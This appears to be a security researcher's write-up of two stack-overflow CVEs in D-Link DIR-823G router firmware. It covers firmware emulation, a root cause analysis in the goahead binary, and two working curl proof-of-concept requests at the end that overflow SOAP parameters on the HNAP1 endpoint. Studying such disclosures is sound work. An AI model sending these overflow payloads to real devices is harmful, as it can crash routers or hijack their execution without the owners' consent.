A Deep dive into CVE-2023-43241 CVE-2023-43235 which are a stack overflow in D-Link DIR-823G v1.0.2B05 router firmware, going to discuss extracting and emulating firmware and root cause analysis.
CVE: CVE-2023-43241 , CVE-2023-43235
Title: stack overflows in “D-Link DIR-823G v1.0.2B05” router firmware
Platform / Vendor: Dlink/ router
Summary: D-Link DIR-823G v1.0.2B05 was discovered to contain a stack overflow via parameter TXPower and GuardInt in SetWLanRadioSecurity, StartTime and EndTime in SetWifiDownSettings.
The firmware is an operating system customized for an embedded device just with the capabilities that the device needs, this is to minimize size and raise the performance and you can imagine what else can be an advantage of this customization, in a lot of cases the firmware is based on Linux kernel, this kernel is customized and but inside the device chip, to get this firmware we have to options…
Use any communication port on the chip to extract the firmware.
The firmware is publicly accessible on the internet.
and to run it we have also two options…
Use any communication port on the chip to get a shell on the device
Emulate the firmware in an Emulation Application
Most firmware is compiled to run on
MIPS architecture which can’t run directly on our
x86 architecture, also Vmware and virtualbox can’t used for that as they can’t translate architecture-specific OPcode to another one, the most famous emulator that can do that is
qemu which is translating machine code from architicure to another.
There is a Linux distro called Attify OS which is made specifically for firmware and hardware hacking It contains most of the tools we will need to be installed and configured, definitely you can install only the tools only you need for analyzing this vulnerability but this way will save you a lot of time troubleshooting.
Our firmware is publically available on “Dlink” site here just download the version mentioned on the advisory and copy it to your investigation area.
Then go to
Firmware-analysis-toolkit folder and run the following command…
./fat.py "your firmware image"
This will result in extracting the firmware, giving you an Image ID (we will need it later), and creating a network interface(this is your Router IP remember it).
Now just by pressing enter the emulated hardware will start booting up, just give it a minute to finish the boot process and navigate to the IP address mentioned before.
based on your preferred language use Google Translate for that, press skip, and log in with blank credentials.
Now our Emulator is working perfectly fine, we need then to extract the file system to get the code and start looking for our vulnerability.
Go to “home/iot/tools/firmware-analysis-toolkit/firmadyne/scripts” and execute the script “mount.py” as root passing the Image ID mentioned before as a parameter.
Then navigate to “/home/iot/tools/firmware-analysis-toolkit/firmadyne/scratch/1/image” and you are inside your firmware’s filesystem.
root cause analysis
The advisory description mentioned that the overflow is in TXPower and GuardInt parameters so we can search across the web interface files where they exist.
we can see that this parameter gets assigned in “Advwireless.html” page as part of the “setting” object, then set to “SetWLanRadioSettings” SOAP action and sent to “http://purenetworks.com/HNAP1/” end point.
Attify OS had burpsuit setup so we can open it, configure the browser to proxy traffic throw it, and intercept the traffic out of “Advwireless.html” page.
Then this request gets handled by “goahead” binary
but how the request is handled is the cause of the problem.
It gets the data inside “TXPower” which is attacker-controlled then calculates its size which means it’s also attacker-controlled then copies in a fixed size buffer whatever size of data the attacker supplies so we can overflow the buffer and corrupt the memory.
also for “GuardInt”.
The same concept exactly applies to the StartTime and EndTime parameters.
Reproducing the vulnerability
################### video here #######################
we can see that we can overwrite the return address “ra”
curl http://192.168.0.1/HNAP1/ -H 'SOAPAction: "http://192.168.0.1/HNAP1/SetWLanRadioSecurity"' -d '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetWLanRadioSecurity xmlns="http://192.168.0.1/HNAP1/"><SetMultipleActions><SetWLanRadioSecurity><RadioID>1</RadioID><Radio>1</Radio><TXPower>######A100#####</TXPower><SSID>1</SSID><SSIDBroadcast>1</SSIDBroadcast><ChannelWidth>1</ChannelWidth><Key>1</Key><GuardInt>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaa</GuardInt></SetWLanRadioSecurity></SetMultipleActions></SetWLanRadioSecurity></soap:Body></soap:Envelope>'
curl "http://192.168.0.1/HNAP1/" -H 'SOAPAction: "http://purenetworks.com/HNAP1/SetWifiDownSettings"' -H "Cookie: timeout=132" -d '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetWifiDownSettings xmlns="http://purenetworks.com/HNAP1/"><ControlMode>true</ControlMode><ControlRule><Enable>true</Enable><StartTime>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaaa</StartTime><EndTime>23:59:00</EndTime><Week>Mon,Wed</Week></ControlRule></SetWifiDownSettings></soap:Body></soap:Envelope>'